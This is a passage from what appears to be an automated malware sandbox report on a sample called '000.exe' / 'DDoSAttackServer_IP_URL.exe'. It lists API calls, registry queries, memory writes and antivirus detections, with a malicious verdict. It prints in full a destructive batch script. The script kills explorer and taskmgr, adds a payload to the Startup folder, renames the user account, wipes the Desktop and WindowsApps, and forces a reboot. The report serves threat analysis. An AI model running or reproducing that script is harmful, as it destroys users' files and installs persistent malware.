Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp")43:T51e,Found reference to API "GetTempPath" (Indicator: "GetTempPath"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp")44:T522,Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "82046156992,4900,104,,GetKeyState,user32.dll,"00:18:51.421",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000001.72452.088F0000.00000004.mdmp") Found reference to API "82496955996,4900,104,,GetKeyState,user32.dll,"00:18:51.609",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000001.72452.088F0000.00000004.mdmp") Found reference to API "82636002506,4900,104,,GetKeyState,user32.dll,"00:18:51.671",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000001.72452.088F0000.00000004.mdmp") Found reference to API "82637208707,4900,104,,GetKeyState,user32.dll,"00:18:51.6" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000001.72452.088F0000.00000004.mdmp"), Found reference to API "82636799030 4900 104 GetKeyState user32.dll "00:18:51.671" RX=0 PX=0" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000001.72452.088F0000.00000004.mdmp"), Found reference to API "82637124808 4900 104 GetKeyState user32.dll "00:18:51.671" RX=0 PX=0" (Indicator: "GetKeyState"; Source: "00000000-00000944.00000001.72452.088F0000.00000004.mdmp")45:T478,Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp")46:T755,Observed string: "@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"wmic useraccount where name='%username%' set FullName='UR NEXT'wmic useraccount where name='%username%' rename 'UR NEXT'SET /a cr=0del /f /s /q %userprofile%\Desktop\*for /d %%p in (%userprofile%\Desktop\*) Do rd /Q /S "%%p"copy %temp%\text.txt "%userprofile%\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N%cr%XT.txt"SET /a cr=%cr%+1if %cr%==28 copy %temp%\one.rtf %userprofile%\Desktop\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtfif not %cr%==400 goto ldel /f /s /q "C:\Program Files\WindowsApps\"shutdown /f /r /t 0" (Indicator: ""shutdown ") in Source: windl.bat Observed string: "@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"wmic useraccount where name='%username%' set FullName='UR NEXT'wmic useraccount where name='%username%' rename 'UR NEXT'SET /a cr=0del /f /s /q %userprofile%\Desktop\*for /d %%p in (%userprofile%\Desktop\*) Do rd /Q /S "%%p":lcopy %temp%\text.txt "%userprofile%\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N%cr%XT.txt"SET /a cr=%cr%+1if %cr%==28 copy %temp%\one.rtf %userprofile%\Desktop\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtfif not %cr%==400 goto ldel /f /s /q "C:\Program Files\WindowsApps\"shutdown /f /r /t 0" (Indicator: ""shutdown ") in Source: windl.bat Observed string: "shutdown /f /r /t 0" (Indicator: "shutdown ") in Source: windl.bat Observed string: "shutdown /f /r /t 0" (Indicator: "shutdown ") in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp47:T6a4,"DDoSAttackServer_IP_URL.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "DDoSAttackServer_IP_URL.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FONTCACHE\PARAMETERS"; Key: "CLIENTCACHESIZE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\TASKKILL.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WBEM\WMIC.EXE"; Value: "") "taskkill.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "taskkill.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "taskkill.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "WMIC.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WMIC.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")48:T10de,"DDoSAttackServer_IP_URL.exe" wrote bytes "8004b67560f8bb755007b975603cba75b0ffb675106eb675606eb675" to virtual address "0x6A30C070" (part of module "WINDOWS.UI.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "602b4fa4" to virtual address "0x7199F798" (part of module "CLR.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "0041bc75003dbc75608ab475b0ffb6750091b475b007ba75e0b6b67550b6b675b0f0b5750092bc7550bcb675b0ffb9759041bc7570b7b67510c7bc758004b675" to virtual address "0x769A9058" (part of module "CLBCATQ.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "8004b6750041bc75603cba755007b975b0f0b57570f0bb759041bc75b0ffb675b007ba75a0f9bb759097b4750091b4750016bd75003dbc7540f6b575409eb5752031bd7550b8b975" to virtual address "0x6AD00114" (part of module "MFPLAT.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "2083dd7390c6dd7380c5dd7330dedd73" to virtual address "0x6AA12064" (part of module "MMDEVAPI.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "804fe673b051e6734051e673" to virtual address "0x6AA120A4" (part of module "MMDEVAPI.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "f031a373" to virtual address "0x6AA22CE4" (part of module "D3D9.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "9005a373" to virtual address "0x6AA22D24" (part of module "D3D9.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "30aea675" to virtual address "0x73DC1094" (part of module "RPCRT4.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "d0d0947690d19476" to virtual address "0x75CE00C4" (part of module "COMBASE.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "309f6176f0666476702a607620a4617670236076003b617610606176b05b617600b06176805b6176d0816176d00d5f76" to virtual address "0x76D5E018" (part of module "GDI32.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "40d2e573300de673e0f6e573c0cde573" to virtual address "0x764916C4" (part of module "WINDOWS.STORAGE.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "705bd476906ad4764037d476f06bd4767068d476d06ad476e045d476e03ad476e068d476b069d476b06bd476b055d476506ad476b071d476406bd4763069d476806dd476707ad4769037d476" to virtual address "0x73CED000" (part of module "IMM32.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "c032a373" to virtual address "0x6AA22CEC" (part of module "D3D9.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "102db4753030ba75c0ffb375f0c2b37580a6b37540ddbb7560efbb7560a5b37520beba75f070b47540bfba75c0edbb75" to virtual address "0x6A30C0E0" (part of module "WINDOWS.UI.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "d062ee76d066ee765095ee76c05bee76e09eee764036ee76" to virtual address "0x6CB500E4" (part of module "DWRITE.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "40d8c376109fc5765047c576" to virtual address "0x72320060" (part of module "WINSTA.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "d026b96a3000ba6a7091b96a9002ba6a0027b96ab026b96ae02eb96af02cb96a5030b96a5033b96aa027b96a1026b96a7002ba6a9025b96a20ffb96a003cb96a7045b96a70fdb96ac03ab96a6092b96a9092b96aa093b96a90fdb96a" to virtual address "0x6AD00044" (part of module "MFPLAT.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "d007a373" to virtual address "0x6AA22D34" (part of module "D3D9.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "a0922000b0922000b017010080f00600c0020100b0f0060060b20600e0912000f0912000" to virtual address "0x76F4AC94" (part of module "USER32.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "1032077780ec0b77208a087700000000" to virtual address "0x73E43000" (part of module "WIN32U.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "10f2ee7600b9ed76f0910d77109dee769092ee76c0b4ee765088ee76d067ee7640b2ee76209cee76108cee76a0a4ee76507cee7650a9ee76c0b3ee76805dee76c0e6ee769075ee76c0eeee76a0c4ee7600c0ee7610d2ed7660aaee76" to virtual address "0x75CE0228" (part of module "COMBASE.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "70f0bb759097b4758004b6755007b975106eb675606eb675a0f9bb7560f8bb75603cba75b0ffb975003dbc75608ab475b0ffb6750091b475b0f0b5759041bc750041bc75" to virtual address "0x6AA12008" (part of module "MMDEVAPI.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "e02aa673f029a673702aa673" to virtual address "0x6EE0700C" (part of module "RSAENH.DLL") "DDoSAttackServer_IP_URL.exe" wrote bytes "801f6076a05a6176e0946176d07b6176b01e6076d01d6076f0e36376703f617650fa5e76a0805f76" to virtual address "0x76D5E138" (part of module "GDI32.DLL")49:T60a,Found string "IWbemServices::ExecQuery(L"WQL",L"SELECT * FROM MSFT_CliTranslateTable",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)" (Indicator: "select * from "; Source: "00000000-00000860.00000001.67797.00961000.00000020.mdmp") Found string "SELECT * FROM MSFT_CliTranslateTable" (Indicator: "select * from "; Source: "00000000-00000860.00000001.67797.00961000.00000020.mdmp") Found string "IWbemServices::ExecQuery(L"WQL",L"SELECT * FROM MSFT_CliAlias",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)" (Indicator: "select * from "; Source: "00000000-00000860.00000001.67797.00961000.00000020.mdmp") Found string "SELECT * FROM MSFT_CliAlias" (Indicator: "select * from "; Source: "00000000-00000860.00000001.67797.00961000.00000020.mdmp") Found string "IWbemServices::ExecQuery(L"WQL",L"SELECT * FROM MSFT_CliTranslateTable",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)" (Indicator: "select * from "; Source: "00000000-00002644.00000001.68270.00A81000.00000020.mdmp") Found string "SELECT * FROM MSFT_CliTranslateTable" (Indicator: "select * from "; Source: "00000000-00002644.00000001.68270.00A81000.00000020.mdmp") Found string "IWbemServices::ExecQuery(L"WQL",L"SELECT * FROM MSFT_CliAlias",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)" (Indicator: "select * from "; Source: "00000000-00002644.00000001.68270.00A81000.00000020.mdmp") Found string "SELECT * FROM MSFT_CliAlias" (Indicator: "select * from "; Source: "00000000-00002644.00000001.68270.00A81000.00000020.mdmp")4a:T4a8,"1300140094bd0a73d0f5b10531c53673@ADVAPI32.dll" "140015007cbd0a73d0f5b10531c53673@ADVAPI32.dll" "1400150064bd0a73d0f5b10531c53673@ADVAPI32.dll" "1300140050bd0a73d0f5b10531c53673@ADVAPI32.dll" "2100220028d07c6cb8fab10531c53673@dxva2.dll" "100011006070c97698f8b1052114ba76@CLBCatQ.DLL" "110012004c70c97698f8b1052114ba76@CLBCatQ.DLL" "0b000c00d0faad6ab4e5b10531c53673@ADVAPI32.dll" "0f00100078f6397394ddb1050efd3773@bcrypt.dll" "1300140088f6397394ddb1050efd3773@bcrypt.dll" "18001900a0f7397394ddb1050efd3773@RPCRT4.dll" "13001400ccf7397394ddb1050efd3773@RPCRT4.dll" "14001500e0f7397394ddb1050efd3773@RPCRT4.dll" "16001700f8f7397394ddb1050efd3773@RPCRT4.dll" "0b000c005cf0397394ddb1050efd3773@WS2_32.dll" "1300140088f6397314e0b1050efd3773@bcrypt.dll" "18001900a0f7397314e0b1050efd3773@RPCRT4.dll" "13001400ccf7397314e0b1050efd3773@RPCRT4.dll" "14001500e0f7397314e0b1050efd3773@RPCRT4.dll" "16001700f8f7397314e0b1050efd3773@RPCRT4.dll" "0b000c005cf0397314e0b1050efd3773@WS2_32.dll" "0d000e00143f3674e4e4b10531c53673@ADVAPI32.dll" "0f001000043f3674e4e4b10531c53673@ADVAPI32.dll" "11001200289cb8763ce9b105019cb876@MMDevApi.dll" "0f0010003c9cb8763ce9b105179cb876@MMDevApi.dll"4b:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792724904011,"unified_at":"2026-10-23T03:08:24.011Z","metadata":{"hashes":{"sha256":"4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47","sha1":"33c341130bf9c93311001a6284692c86fec200ef","md5":"d5671758956b39e048680b6a8275e96a","sha512":"972e89ed8b7b4d75df0a05c53e71fb5c29edaa173d7289656676b9d2a1ed439be1687beddc6fb1fbf068868c3da9c3d2deb03b55e5ab5e7968858b5efc49fbe7","ssdeep":"3072:V3LA1++iCeFj0im6X/AXpT8vVMCcHVcdhghUuzzo9Y:lLJlC6j0CX4XmvWHVcd62uo9","ssdeep_chunks":["3072:V3LA1++","3072:3LA1++i","3072:LA1++iC","3072:A1++iCe","3072:1++iCeF","3072:++iCeFj","3072:+iCeFj0","3072:iCeFj0i","3072:CeFj0im","3072:eFj0im6","3072:Fj0im6X","3072:j0im6X/","3072:0im6X/A","3072:im6X/AX","3072:m6X/AXp","3072:6X/AXpT","3072:X/AXpT8","3072:/AXpT8v","3072:AXpT8vV","3072:XpT8vVM","3072:pT8vVMC","3072:T8vVMCc","3072:8vVMCcH","3072:vVMCcHV","3072:VMCcHVc","3072:MCcHVcd","3072:CcHVcdh","3072:cHVcdhg","3072:HVcdhgh","3072:VcdhghU","3072:cdhghUu","3072:dhghUuz","3072:hghUuzz","3072:ghUuzzo","3072:hUuzzo9","3072:Uuzzo9Y","6144:V3LA1++","6144:3LA1++i","6144:LA1++iC","6144:A1++iCe","6144:1++iCeF","6144:++iCeFj","6144:+iCeFj0","6144:iCeFj0i","6144:CeFj0im","6144:eFj0im6","6144:Fj0im6X","6144:j0im6X/","6144:0im6X/A","6144:im6X/AX","6144:m6X/AXp","6144:6X/AXpT","6144:X/AXpT8","6144:/AXpT8v","6144:AXpT8vV","6144:XpT8vVM","6144:pT8vVMC","6144:T8vVMCc","6144:8vVMCcH","6144:vVMCcHV","6144:VMCcHVc","6144:MCcHVcd","6144:CcHVcdh","6144:cHVcdhg","6144:HVcdhgh","6144:VcdhghU","6144:cdhghUu","6144:dhghUuz","6144:hghUuzz","6144:ghUuzzo","6144:hUuzzo9","6144:Uuzzo9Y","3072:lLJlC6j","3072:LJlC6j0","3072:JlC6j0C","3072:lC6j0CX","3072:C6j0CX4","3072:6j0CX4X","3072:j0CX4Xm","3072:0CX4Xmv","3072:CX4XmvW","3072:X4XmvWH","3072:4XmvWHV","3072:XmvWHVc","3072:mvWHVcd","3072:vWHVcd6","3072:WHVcd62","3072:HVcd62u","3072:Vcd62uo","3072:cd62uo9"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"000.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":6983680,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1555301795000,"last_seen":1782292511000,"last_multi_scan":1782292511000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["000","malware","Old","agent","autorun","batpenr","bladabindi","crypt","cryptor","downloader","flystudio","lockscreen","njrat","rat","banker","evasive","windows-server-utility"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":79},"sandbox_signatures":{"informative_count":185,"suspicious_count":21,"malicious_count":15,"total":221},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Bluteal","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/BAT.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.XPACK.Gen7","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Trojan.KillProc.3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Trojan.KillProc.3 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of BAT/Agent.ONI trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.vb!s2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Agent.h","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 700000201 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_manipulate_console_buffer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Agent-FPG!D5671758956B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Agent.ENY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.KillProc.DNJV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Encoder.Win32.778","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/p